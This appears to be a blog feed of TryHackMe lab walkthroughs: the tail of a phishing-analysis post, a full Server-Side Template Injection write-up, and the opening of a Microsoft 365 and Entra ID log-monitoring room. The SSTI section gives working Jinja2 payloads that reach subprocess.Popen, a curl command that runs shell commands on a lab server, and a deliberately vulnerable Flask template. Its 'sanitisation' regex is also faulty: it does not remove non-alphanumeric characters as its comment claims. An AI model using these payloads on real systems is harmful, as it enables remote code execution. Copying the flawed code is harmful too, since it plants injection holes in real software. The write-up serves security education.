<li><p><a href="https://github.com/ninoseki/eml_analyzer">https://github.com/ninoseki/eml_analyzer</a></p>
</li>
</ul>
<p>That's all, folks! Happy Hunting!</p>
<p>Working through the phishing cases in this room reinforces a core SOC principle: structured artifact collection before any interaction with potentially malicious content. By the time any URL is visited or an attachment opened, even in a sandbox, you should already have the sender IP, file hash, and extracted URLs documented.</p>
<p><a href="http://Any.run">Any.run</a> proved particularly effective for the attachment analysis cases, surfacing malicious IPs and flagging suspicious process behavior (notably <code>svchost.exe</code>) that would not be visible from static analysis alone. The combination of sandbox detonation with reputation lookups on VirusTotal and Talos gives a defender multiple corroborating signals rather than relying on a single tool.</p>
<p>The room also highlights that not all phishing emails are equal; classification matters, whether a campaign is broad spam or a targeted attack changes the response and the IOCs worth hunting for across the network.</p>
]]></content:encoded></item><item><title><![CDATA[SSTI (TryHackMe)]]></title><description><![CDATA[Server-Side Template Injection (SSTI) is one of those vulnerabilities that looks deceptively simple on the surface but can escalate to full remote code execution faster than most people expect. In thi]]></description><link>https://www.sharonjebitok.com/ssti-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/ssti-tryhackme</guid><category><![CDATA[Server-Side Template Injection]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[curl]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 12:51:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/518e49da-92b9-41a7-9a03-b3ad8d6884dd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Server-Side Template Injection (SSTI) is one of those vulnerabilities that looks deceptively simple on the surface but can escalate to full remote code execution faster than most people expect. In this TryHackMe room, I worked through the complete SSTI attack chain against a Flask/Jinja2 application from fuzzing for an injection point, navigating Python's object hierarchy to reach <code>subprocess.Popen</code>, all the way to executing shell commands on the server. One thing that slowed me down was discovering that browser URL encoding breaks the payload before it even reaches the template engine, switching to <code>curl -g</code> was the fix that unlocked the rest of the exploit.</p>
<h2>Introduction</h2>
<p>**What is Server Side Template Injection?<br />**Server Side Template Injection (SSTI) is a web exploit which takes advantage of an insecure implementation of a template engine.</p>
<p><strong>What is a template engine?</strong>﻿A template engine allows you to create static template files which can be re-used in your application.</p>
<p>What does that mean? Consider a page that stores information about a user, <code>/profile/&lt;user&gt;</code>. The code might look something like this in Python's Flask:</p>
<pre><code class="language-python">from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/&lt;user&gt;")
def profile_page(user):
    template = f"&lt;h1&gt;Welcome to the profile of {user}!&lt;/h1&gt;"

    return render_template_string(template)

app.run()
</code></pre>
<p>This code creates a template string, and concatenates the user input into it. This way, the content can be loaded dynamically for each user, while keeping a consistent page format.</p>
<p>Note: Flask is the web framework, while Jinja2 is the template engine being used.</p>
<p>﻿**How is SSTI exploitable?**Consider the above code, specifically the <strong>template</strong> string. The variable <code>user</code> (which is user input) is concatenated directly into the template, rather than passed in as data. This means whatever is supplied as user input will be interpreted by the engine.</p>
<p>Note: The template engines themselves aren't vulnerable, rather an insecure implementation by the developer.</p>
<p>**What is the impact of SSTI?<br />**As the name suggests, SSTI is a server side exploit, rather than client side such as cross site scripting (XSS).</p>
<p>This means that vulnerabilities are even more critical, because instead of an account on the website being hijacked (common use of XSS), the server instead gets hijacked.</p>
<p>The possibilities are endless, however the main goal is typically to gain remote code execution.</p>
<p><strong>Deploy!</strong><br />Deploy the virtual machine associated with this lab and follow along as we exploit SSTI together!</p>
<p>You can access the web server by navigating to <code>http://MACHINE_IP:5000</code>.</p>
<p>Note: The endpoint <code>/</code> does not exist, and you will receive a 404 error.</p>
<h2>Detection</h2>
<p><strong>Finding an injection point</strong><br />The exploit must be inserted somewhere, this is called an injection point.</p>
<p>There are a few places we can look within an application, such as the URL or an input box (make sure to check for hidden inputs).</p>
<p>In this example, there is a page that stores information about a user: <code>http://MACHINE_IP:5000/profile/&lt;user&gt;</code>, which takes in user input.  </p>
<p>We can find the intended output by providing an expected name:</p>
<img src="https://assets.tryhackme.com/additional/imgur/9KxE97M.png" alt="" style="display:block;margin:0 auto" />

  

<p>**Fuzzing<br />**Fuzzing is a technique to determine whether the server is vulnerable by sending multiple characters in hopes to interfere with the backend system.</p>
<p>This can be done manually, or by an application such as BurpSuite's Intruder. However, for educational purposes, we will look at the manual process.</p>
<p>Luckily for us, most template engines will use a similar character set for their "special functions" which makes it relatively quick to detect if it's vulnerable to SSTI.</p>
<p>For example, the following characters are known to be used in quite a few template engines: <code>${{&lt;&lt;a class="embed-card" href="%&amp;#39;&amp;quot;}}%</code>.</p>
<p>To manually fuzz all of these characters, they can be sent one by one following each other.</p>
<p>The fuzzing process looks as follows:</p>
<p>&lt;img src="<a href="https://assets.tryhackme.com/additional/imgur/jxJ5103.png">https://assets.tryhackme.com/additional/imgur/jxJ5103.png</a>" alt=""&gt;%&amp;#39;&amp;quot;}}%`.</p>
<p>To manually fuzz all of these characters, they can be sent one by one following each other.</p>
<p>The fuzzing process looks as follows:</p>
<p>![&lt;/a&gt;(<a href="https://assets.tryhackme.com/additional/imgur/EukNpFw.png">https://assets.tryhackme.com/additional/imgur/EukNpFw.png</a> align="center")</p>
<p>![" style="display: block; margin: 0 auto;" /&gt;</p>
<p>Continue with this process until you either get an error, or some characters start disappearing from the output.</p>
<h3>Answer the questions below</h3>
<p>What sequence of characters causes the application to throw an error? <code>{{</code></p>
<h2>Identification</h2>
<p>Now that we have detected what characters caused the application to error, it is time to identify what template engine is being used.</p>
<p>In the best case scenario, the error message will include the template engine, which marks this step complete!</p>
<p>However, if this is not the case, we can use a decision tree to help us identify the template engine:</p>
<img src="https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-M7O4Hp6bOFFkge_yq4G%2F-M7OCvxwZCiaP8Whx2fi%2Fimage.png" alt="" style="display:block;margin:0 auto" />

<p>﻿Photo Credit: PortSwigger</p>
<p>To follow the decision tree, start at the very left and include the variable in your request. Follow the arrow depending on the output:</p>
<ul>
<li><p>Green arrow - The expression evaluated (i.e <strong>42</strong>)</p>
</li>
<li><p>Red arrow - The expression is shown in the output (i.e <strong>${7*7}</strong>)</p>
</li>
</ul>
<p>In the case of our example, the process looks as follows:</p>
<img src="https://assets.tryhackme.com/additional/imgur/X3A1o7X.png" alt="" style="display:block;margin:0 auto" />

<p>The application mirrors the user input, so we follow the red arrow:</p>
<img src="https://assets.tryhackme.com/additional/imgur/SKgMCd7.png" alt="" style="display:block;margin:0 auto" />

<p>The application evaluates the user input, so we follow the green arrow.</p>
<p>Continue with this process until you get to the end of the decision tree.</p>
<h3>Answer the questions below</h3>
<p>What template engine is being used in this application? <code>Jinja2</code></p>
<h2>Syntax</h2>
<p>After having identified the template engine, we now need to learn its syntax.</p>
<p>Where better to learn than the official <a href="https://jinja.palletsprojects.com/en/2.11.x/">documentation</a>?</p>
<p>Always look for the following, no matter the language or template engine:</p>
<ul>
<li><p>How to start a print statement</p>
</li>
<li><p>How to end a print statement</p>
</li>
<li><p>How to start a block statement</p>
</li>
<li><p>How to end a block statement</p>
</li>
</ul>
<p>In the case of our example, the <a href="https://jinja.palletsprojects.com/en/2.11.x/api/#jinja2.Environment">documentation</a> states the following:</p>
<ul>
<li><p><code>{{</code> - Used to mark the start of a print statement</p>
</li>
<li><p><code>}}</code> - Used to mark the end of a print statement</p>
</li>
<li><p><code>{%</code> - Used to mark the start of a block statement</p>
</li>
<li><p><code>%}</code> - Used to mark the end of a block statement</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7889777f-a051-4bf9-8a46-8276cb151f03.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ac65d039-c8ce-48d0-a7d2-bce9ad373fbd.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/675fc61c-27ed-432d-8032-d74337dd2db9.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/581e5f23-dc8c-412e-b110-1df3f723acdf.png" alt="" style="display:block;margin:0 auto" />

<h3>Answer the questions below</h3>
<p>How do you start a comment in Jinja2? <code>{#</code></p>
<h2>Exploitation</h2>
<p>At this point, we know:</p>
<ul>
<li><p>The application is vulnerable to SSTI</p>
</li>
<li><p>The injection point</p>
</li>
<li><p>The template engine</p>
</li>
<li><p>The template engine syntax</p>
</li>
</ul>
<p>﻿<strong>Planning</strong><br />Let's first plan how we would like to exploit this vulnerability.</p>
<p>Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python. A quick Google search brings up a <a href="https://janakiev.com/blog/python-shell-commands/">blog</a> that details different ways to run shell commands. I will highlight a few of them below:  </p>
<pre><code class="language-python"># Method 1
import os
os.system("whoami")

# Method 2
import os
os.popen("whoami").read()

# Method 3
import subprocess
subprocess.Popen("whoami", shell=True, stdout=-1).communicate()
</code></pre>
<p><strong>Crafting a proof of concept (Generic)</strong><br />Combining all of this knowledge, we are able to build a proof of concept (POC).</p>
<p>The following payload takes the syntax we acquired from Task 4, and the shells above, and merges them into something that the template engine will accept: <code>http://MACHINE_IP:5000/profile/{% import os %}{{ os.system("whoami") }}</code>.</p>
<p>Note: Jinja2 is essentially a sub language of Python that doesn't integrate the <strong>import</strong> statement, which is why the above does not work.</p>
<p><strong>Crafting a proof of concept (Jinja2)</strong></p>
<p>Python allows us to call the current class instance with <a href="https://docs.python.org/release/2.6.4/library/stdtypes.html#instance.__class__">.__class__</a>, we can call this on an empty string:</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__ }}</code>.</p>
<p>Classes in Python have an attribute called <a href="https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__mro__">.__mro__</a> that allows us to climb up the inherited object tree:</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}</code>.</p>
<p>Since we want the root object, we can access the second property (first index):</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}</code>.</p>
<p>Objects in Python have a method called <a href="https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__subclasses__">.__subclassess__</a> that allows us to climb down the object tree:</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}</code>.</p>
<p>Now we need to find an object that allows us to run shell commands. Doing a Ctrl-F for the modules in the code above yields us a match:</p>
<img src="https://assets.tryhackme.com/additional/imgur/ChOoCyq.png" alt="" style="display:block;margin:0 auto" />

<p>As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list.</p>
<p>In this example, the position in the list is 400 (index 401):</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}</code>.</p>
<p>The above payload essentially calls the <strong>subprocess.Popen</strong> method, now all we have to do is invoke it (use the code above for the syntax)</p>
<p>Payload: <code>http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}</code>.</p>
<p><strong>Finding payloads</strong><br />The process to build a payload takes a little while when doing it for the first time, however it is important to understand why it works.</p>
<p>For quick reference, an amazing GitHub repo has been created as a cheatsheet for payloads for all web vulnerabilities, including SSTI.</p>
<p>The repo is located <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">here</a>, while the document for SSTI is located <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">here</a>.  </p>
<h3>Answer the questions below</h3>
<p>What is the result of the "whoami" shell command? <code>jake</code></p>
<pre><code class="language-shell">curl -g "http://IP_Address:5000/profile/{{''.__class__.__mro__[1].__subclasses__()[356]('whoami',shell=True,stdout=-1).communicate()}}"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/118d3fdd-0563-427e-9246-e76042441868.png" alt="" style="display:block;margin:0 auto" />

<h2>Examination</h2>
<p>Now that we've exploited the application, let's see what was actually happening when the payload was injected.</p>
<p>The code that we exploited was the same as shown in Task 1:</p>
<pre><code class="language-python">from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/&lt;user&gt;")
def profile_page(user):
    template = f"&lt;h1&gt;Welcome to the profile of {user}!&lt;/h1&gt;"

    return render_template_string(template)

app.run()
</code></pre>
<p>Let's imagine this like a simple find and replace.</p>
<p>Refer to the code below to see exactly how this works:</p>
<pre><code class="language-python"># Raw code
template = f"&lt;h1&gt;Welcome to the profile of {user}!&lt;/h1&gt;"

# Code after injecting: TryHackMe
template = f"&lt;h1&gt;Welcome to the profile of TryHackMe!&lt;/h1&gt;"

# Code after injecting: {{ 7 * 7 }}
template = f"&lt;h2&gt;Welcome to the profile of {{ 7 * 7 }}!&lt;/h1&gt;"
</code></pre>
<p>As we learned in Task 4, Jinja2 is going to evaluate code that is in-between those sets of characters, which is why the exploit worked.</p>
<h2>Remediation</h2>
<p>All this hacking begs the question, what can be done to prevent this from happening in the first place?</p>
<p>﻿<strong>Secure methods</strong><br />Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.  </p>
<p>In Jinja2, this can be done by using the second argument:</p>
<pre><code class="language-python"># Insecure: Concatenating input
template = f"&lt;h1&gt;Welcome to the profile of {user}!&lt;/h1&gt;"
return render_template_string(template)

# Secure: Passing input as data
template = "&lt;h1&gt;Welcome to the profile of {{ user }}!&lt;/h1&gt;"
return render_template_string(template, user=user)
</code></pre>
<p>﻿<strong>Sanitisation</strong>User input can not be trusted!</p>
<p>Every place in your application where a user is allowed to add custom content, make sure the input is sanitised!</p>
<p>This can be done by first planning what character set you want to allow, and adding these to a whitelist.  </p>
<p>In Python, this can be done like so:</p>
<pre><code class="language-python">import re

# Remove everything that isn't alphanumeric
user = re.sub("^[A-Za-z0-9]", "", user)
template = "&lt;h1&gt;Welcome to the profile of {{ user }}!&lt;/h1&gt;"
return render_template_string(template, user=user)
</code></pre>
<p>Most importantly, remember to read the documentation of the template engine you are using.</p>
<h2>Case Study</h2>
<p>**HackerOne Bug Bounty<br />**In March 2016, a user reported an SSTI vulnerability in one of Uber's subdomains.</p>
<p>The vulnerability was present within a form that allowed the user to change their profile name. Much like in the example, the user had control over an input which was then reflected back to the user (via email).  </p>
<p>Although the user was unable to gain remote code execution, the vulnerability was still present and they were awarded with a $10,000 bounty!</p>
<p>Read the report <a href="https://hackerone.com/reports/125980">here</a>.</p>
<h3>Answer the questions below</h3>
<p>What payload was used to confirm SSTI? <code>{{ '7'*7 }}</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/93d987b9-a078-4bd8-9ed5-11845d0de4bf.png" alt="" style="display:block;margin:0 auto" />

<p>SSTI is a reminder that the vulnerability is rarely in the template engine itself; it's in how developers use it. Jinja2, Twig, and Freemarker these tools are secure by design. The problem is concatenating user input directly into a template string and then rendering it, which collapses the boundary between data and code.</p>
<p>A few things worth taking away from this room as a developer:</p>
<p><strong>Never build templates with f-strings and user input.</strong> The difference between vulnerable and secure is one line:</p>
<p>python</p>
<pre><code class="language-python"># Vulnerable
template = f"&lt;h1&gt;Welcome, {user}!&lt;/h1&gt;"
render_template_string(template)

# Secure
render_template_string("&lt;h1&gt;Welcome, {{ user }}!&lt;/h1&gt;", user=user)
</code></pre>
<p><strong>Sanitise all user input regardless.</strong> Even with safe rendering, whitelist what characters you accept — strip anything that isn't alphanumeric if the field doesn't need special characters.</p>
<p><strong>SSTI injection points aren't just URLs and forms.</strong> The 2016 Uber HackerOne report that accompanied this room is a perfect example — the injection point was a profile name field, and the payload executed inside an email template, earning the researcher a $10,000 bounty. Anywhere your application reflects or stores user input that later gets passed through a template engine is a potential injection point, including HTTP headers, cookies, API bodies, email templates, and even log viewers.</p>
<p><strong>The object traversal chain is the real lesson.</strong> The payload <code>''.__class__.__mro__[1].__subclasses__()</code> works because Python's object model is fully accessible at runtime. Once you can evaluate arbitrary expressions, you're one index lookup away from <code>subprocess.Popen</code>. This is why sandboxing template engines in production environments matters — some engines support restricted execution modes that limit what objects and attributes are accessible.</p>
]]></content:encoded></item><item><title><![CDATA[M365 Monitoring Basics (TryHackMe)]]></title><description><![CDATA[Cloud identity attacks don't announce themselves with malware alerts or network intrusions; they show up as a login. One valid set of credentials is all an attacker needs to walk straight through the ]]></description><link>https://www.sharonjebitok.com/m365-monitoring-basics-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/m365-monitoring-basics-tryhackme</guid><category><![CDATA[365-monitoring-basics]]></category><category><![CDATA[Microsoft365]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[Splunk]]></category><category><![CDATA[Logs]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 12:23:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/71f69716-1100-4b69-9fda-b88cafaec860.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloud identity attacks don't announce themselves with malware alerts or network intrusions; they show up as a login. One valid set of credentials is all an attacker needs to walk straight through the front door of an organization's entire Microsoft 365 environment: no exploit, no foothold, just legitimate access.</p>
<p>In this TryHackMe room, I took on the role of an L2 SOC Analyst at a fictional company called FineGalo, where an alert flagged multiple failed authentication attempts against a cloud account, followed by a successful login. With no endpoint alerts and no network indicators to rely on, the entire investigation was conducted in Splunk using Entra ID and M365 logs.</p>
<p>This write-up walks through how I used Sign-in logs to identify the compromised account and attacker IP, Audit logs to track post-compromise changes to the identity, and M365 Unified Audit logs to follow what the attacker did once they had access to Exchange.</p>
<h2>Introduction</h2>
<p>During a routine SOC shift, you, a L2 SOC Analyst at FineGalo, received an alert about multiple failed authentication attempts against a cloud account, followed by a successful login. Shortly after, suspicious behavior is observed in the user’s Microsoft 365 services. On their own, each event might seem explainable, but together, they tell a more concerning story.</p>
<p>The organization relies entirely on <strong>Microsoft Entra ID</strong> for authentication and <strong>Microsoft 365</strong> (M365) for collaboration and email. There are no endpoint alerts and no network indicators to rely on. Every clue lives in the logs of these cloud solutions.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1773015227847.png" alt="Illustration of Microsoft 365 and Entra ID tied with a chain." style="display:block;margin:0 auto" />

<p>In this room, you’ll step into that investigation and learn the role of Entra ID and M365 in modern company environments by analyzing their logs!</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Understand the risks of identities and why attackers target them in modern environments.</p>
</li>
<li><p>Understand Entra ID and M365 as critical log sources for modern SOC investigations.</p>
</li>
<li><p>Understand Entra ID and M365 log types and core structure.</p>
</li>
<li><p>Basic understanding of how to use logs to identify attacks with Entra ID and M365 logs.</p>
</li>
</ul>
<h2><strong>Learning Prerequisites</strong></h2>
<ul>
<li><p><a href="https://tryhackme.com/room/splunkexploringspl">Splunk: Exploring SPL</a></p>
</li>
<li><p><a href="https://tryhackme.com/room/introtologanalysis">Intro to Log Analysis</a></p>
</li>
</ul>
<h2>What are Identity Providers</h2>
<h2><strong>Why Companies Moved Identities to the Cloud?</strong></h2>
<p>Before cloud identity providers, organizations like FineGalo managed identity separately for each platform. Security controls were tied to individual systems, meaning protections like MFA, strong password policies, and access restrictions were available only if the platform supported them, for example:</p>
<table>
<thead>
<tr>
<th><strong>Platform</strong></th>
<th><strong>Security Problem</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Internal Email Server</td>
<td>Does not support MFA.</td>
</tr>
<tr>
<td>HR System</td>
<td>Does not provide authentication logs.</td>
</tr>
<tr>
<td>Project Management Tool</td>
<td>Does not enforce password policies.</td>
</tr>
<tr>
<td>File Sharing Service</td>
<td>Does not support access controls.</td>
</tr>
</tbody></table>
<p>As companies moved to SaaS platforms and remote work, this fragmented model became hard to manage and even harder to secure. Platforms like Microsoft Entra ID solve this by centralizing <strong>authentication</strong> (who the user is) and <strong>authorization</strong> (what the user is allowed to do) into a single control plane.</p>
<p>This leads to the classic question: <strong>"Identities are only user (person) access credentials?"</strong></p>
<h2><strong>What Is an Identity?</strong></h2>
<p>A <strong>digital identity</strong> is a set of attributes that uniquely represent an entity within a computer system. That entity can be a person, a device, or a software component. Identities are used to <strong>authenticate</strong> entities, <strong>authorize</strong> their access to resources, enable communication, and support actions such as accessing services or performing transactions.</p>
<p>At a high level, identities can be grouped into three categories:</p>
<ul>
<li><p><strong>Human identities</strong>: Represent people, such as employees, contractors, partners, or customers.</p>
</li>
<li><p><strong>Workload identities</strong>: Represent software components, including applications, services, scripts, or containers, that need to authenticate to other systems.</p>
</li>
<li><p><strong>Device identities:</strong> Represent physical devices like desktops, laptops, mobile phones, and IoT devices. These identities are separate from the humans who use them.</p>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6601e243753b8d484668851e/room-content/6601e243753b8d484668851e-1743675991854.png" alt="Categorized Identities into Machine Identities and Human Identities. Machine Identities are divided into: Workload Identities: Containers, Virtual Machines, Applications, Services. Device Identities: Mobile Devices, IoT/OT Devices, Desktop Computers. Human Identities include: Employees, Partners, Customers, Vendors, and Consultants." style="display:block;margin:0 auto" />

<p>An <strong>Identity Provider (IdP)</strong> is the system responsible for creating and managing these identities. It handles authentication (verifying identity), authorization (controlling access), and auditing by recording identity-related activity across connected services.</p>
<p>Microsoft Entra ID is an example of a cloud-based identity provider. Other examples include Twitter, Google, Amazon, LinkedIn, and Apple.</p>
<p><em>Example: You can use your Google account credentials to log in to Spotify. Here, your Google Sign-In is the IdP, and Spotify is the service provider (SP).</em></p>
<h2><strong>Benefits of an IdP</strong></h2>
<ul>
<li><p><strong>Centralized authentication and management:</strong> All user sign-ins are handled in a single location, making it easier to manage access and investigate suspicious activity.</p>
</li>
<li><p><strong>Single Sign-On (SSO):</strong> One successful authentication grants access to multiple cloud services, improving usability while reducing password sprawl.</p>
</li>
<li><p><strong>Stronger authentication:</strong> Features such as MFA and Conditional Access can be enforced uniformly across users and applications, rather than configured per system.</p>
</li>
<li><p><strong>Better visibility and logging:</strong> Every authentication attempt generates rich identity logs, giving analysts the context needed to detect and investigate threats.</p>
</li>
</ul>
<h3>Answer the questions below</h3>
<p>What type of application is Entra ID? <code>Identity Provider</code></p>
<p>What type of identity is a server account? <code>Device</code></p>
<h2>Identities as the Target</h2>
<p>Now that you understand what an Identity Provider (IdP) is, it becomes clear why attackers target it. In a cloud-first organization like FineGalo, <strong>Entra ID is the gateway to everything</strong>. It authenticates users and authorizes access to services like Outlook, Teams, SharePoint, and internal applications. That means a single compromised account, especially a privileged one, can give an attacker legitimate access without needing malware, local system access, or a foothold inside the network.</p>
<p>Before you dig into the alert, we’ll cover the attacker goals behind cloud identity attacks and the most common risks in identity platforms that enable them.</p>
<h2><strong>Why Attackers Are Targeting Cloud Credentials</strong></h2>
<p>Attackers target cloud-based identity providers because they provide:</p>
<ul>
<li><p><strong>Remote access from anywhere:</strong> Authentication occurs over the internet, so attackers don’t need access to the internal network.</p>
</li>
<li><p><strong>Legitimate access to multiple services via SSO:</strong> One successful sign-in can unlock emails, files, chat, and connected apps for a user.</p>
</li>
<li><p><strong>Out of the radar of traditional tools:</strong> Firewalls and endpoint tools may see nothing suspicious because the attacker is using valid credentials or the authentication is occurring outside of their visibility.</p>
</li>
<li><p><strong>Direct access to high-value resources:</strong> Email and collaboration platforms contain sensitive data, internal communication, and often allow resetting account credentials and other authentication factors.</p>
</li>
</ul>
<p>Entra ID has plenty of features to better protect identities within a tenant and prevent attackers from being successful. This leads to another important question: <strong>“If Entra ID is so secure, how do these attacks still work?”</strong></p>
<h2><strong>Cloud Identity Providers Security Gaps</strong></h2>
<p>Cloud identity providers usually offer strong security controls, but those controls only work when they’re <strong>properly configured and consistently enforced</strong>. In many incidents, attackers don’t rely on advanced exploits; they simply exploit the lack of these security configurations.</p>
<p>Using Entra ID as an example, the diagram below illustrates how the platform evaluates authentication signals to decide whether to allow, block, or request MFA validation before a user can access the organization's apps and data.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1773139231196.png" alt="Diagram of how Entra ID evaluates authentication signals to approve user access." style="display:block;margin:0 auto" />

<p>Common misconfigurations (or lack of configuration) that increase the risk of compromise:</p>
<ul>
<li><p><strong>Lack of multi-factor authentication (MFA) enforcement:</strong> Attackers can gain access with simple stolen credentials, bypassing MFA entirely.</p>
</li>
<li><p><strong>Overly permissive access policies:</strong> Broad policies or group exclusions create gaps, allowing sign-ins from any location or exempting admin accounts from security requirements.</p>
</li>
<li><p><strong>Excessive administrative privileges:</strong> Too many admin accounts or standing privileges increase the attack surface and, if compromised, provide full tenant control.</p>
</li>
<li><p><strong>Weak password policies:</strong> Default settings may allow easily guessable passwords without protection against known breaches or common password lists.</p>
</li>
<li><p><strong>Disabled authentication risk policies:</strong> Risky authentication attempts from suspicious IPs or locations may be permitted if security policies aren’t enabled.</p>
</li>
<li><p><strong>Insufficient logging and monitoring:</strong> Without active monitoring of sign-in and audit logs, suspicious activity can persist undetected for extended periods.</p>
</li>
</ul>
<h2><strong>Importance of Identity Logs</strong></h2>
<p>After learning the identity risks, one thing is clear: attackers don’t need advanced exploits — they just need a gap.<br />Those gaps don’t always trigger alerts; the strongest evidence often lives in <strong>logs</strong>. That’s why we will cover many of these logs in this module, as they are a powerful resource for identifying both Entra ID and M365 threats.</p>
<p>The logs can reveal to us:</p>
<ul>
<li><p>Successful and failed logins</p>
</li>
<li><p>Reasons for failed logins (e.g., bad password)</p>
</li>
<li><p>Account lockouts</p>
</li>
<li><p>MFA prompts and results</p>
</li>
<li><p>Source IP address and users' geographic location</p>
</li>
<li><p>Device and browser information</p>
</li>
<li><p>Client/app used to authenticate (browser, mobile app, etc.).</p>
</li>
<li><p>Conditional Access outcomes (allowed, blocked, MFA required, etc.).</p>
</li>
</ul>
<p>You can also use this identity data to correlate with service logs, such as M365, to analyze what the user did after successfully accessing an account (mailbox access/management, file downloads, chat activity, etc.).</p>
<p>It's important to mention that these logs can be tricky because they're very rich, capturing every step of every interaction in Entra ID or M365 environments. When analyzing them, use a timeline approach to understand what's happening from a user or application perspective.</p>
<p>Now that you know the importance of cloud-based identity logs, we will start exploring them in the following task!</p>
<h3>Answer the questions below</h3>
<p>What authentication resource can prevent attackers from authenticating with only a stolen password? <code>MFA</code></p>
<p>What can help us detect and monitor cloud identity threats? <code>Logs</code></p>
<h2>Entra ID Sign-in Logs</h2>
<p>After understanding why attackers target cloud identities, let's dive into <strong>how we use their logs</strong>. This is where Microsoft Entra ID's logging capabilities become your most valuable tool.</p>
<p>Microsoft Entra ID generates detailed logs for every authentication attempt, configuration change, and administrative action within a tenant. These logs don't just tell you what happened, they tell you who did it, when, where from, and often why it succeeded or failed.</p>
<h2><strong>Entra ID Core Components</strong></h2>
<p>Before we explore the logs, let's understand the key components that generate them:</p>
<p><strong>Users and Sign-ins (Authentication)</strong></p>
<p>Every time a user attempts to authenticate to any service protected by Entra ID, a record is created. This includes successful logins, failed attempts, MFA challenges, and the context around each event (IP address, location, device, application, and others).</p>
<p><strong>Roles and Access Decisions (Authorization)</strong></p>
<p>After authentication, Entra ID determines what the user is allowed to do based on their assigned roles and permissions. Changes to these roles, group memberships, or permissions are all logged in audit events.</p>
<p><strong>Security Features</strong></p>
<p>Entra ID includes built-in security capabilities that generate their own logs:</p>
<ul>
<li><p><strong>Multi-factor authentication (MFA):</strong> Logs show whether MFA was required, prompted, satisfied, or bypassed.</p>
</li>
<li><p><strong>Conditional Access policies:</strong> These policies enforce rules like "require MFA from untrusted locations." Logs show which policies were applied and their outcomes (allowed, blocked, MFA required).</p>
</li>
<li><p><strong>Identity Protection:</strong> Entra ID's native threat detection flags risky sign-ins (impossible travel, anonymous IP, password spray) and risky users. We won't dive deep into these in this room, but we will see how these logs can help us identify threats in the next room, <a href="https://tryhackme.com/room/entraidmonitoring">Entra ID Monitoring</a>.</p>
</li>
</ul>
<h2><strong>Exploring Entra ID Logs</strong></h2>
<h2><strong>Sign-in Logs</strong></h2>
<p>The alert you are tasked to investigate mentions multiple failed authentication attempts followed by a successful login. The Sign-in logs capture <strong>every authentication attempt</strong> made against a tenant. It will show you the brute force pattern and the moment the attacker succeeded!</p>
<p>In the Splunk instance, you can start hunting by filtering all the Sign-in (authentication) logs:</p>
<table>
<thead>
<tr>
<th><strong>List all Sign-in events</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=scenario sourcetype="azure:aad:signin"
</code></pre>
<p><strong>Entra ID was previously named Azure Active Directory (Azure AD). When you see "Azure Active Directory" or "Azure AD" in the logs or elsewhere, it is the same as Entra ID.</strong></p>
<p>The structure of a Sign-in log has a couple of fields that may help you identify a suspicious authentication attempt:</p>
<pre><code class="language-js">{
  "id": "014adaeb-c9db-4119-8a9b-a9f68dd4b700",
  "createdDateTime": "2026-02-11T17:15:10Z",
  "userDisplayName": "John Doe",
  "userPrincipalName": "john.doe@contoso.onmicrosoft.com", // The user address
  "userId": "a1b2c3d4-e5f6-7890-a1b2-c3d4e5f67890",
  "appId": "4765445b-32c6-49b0-83e6-1d93765276ca",
  "appDisplayName": "OfficeHome", // Which application the user logged in to. In this case, the main web portal (office.com)
  "ipAddress": "203.0.113.45", // The IP address used by the user.
  "clientAppUsed": "Browser",
  "correlationId": "dc8fb3db-403c-43e4-b759-21aa137a143a",
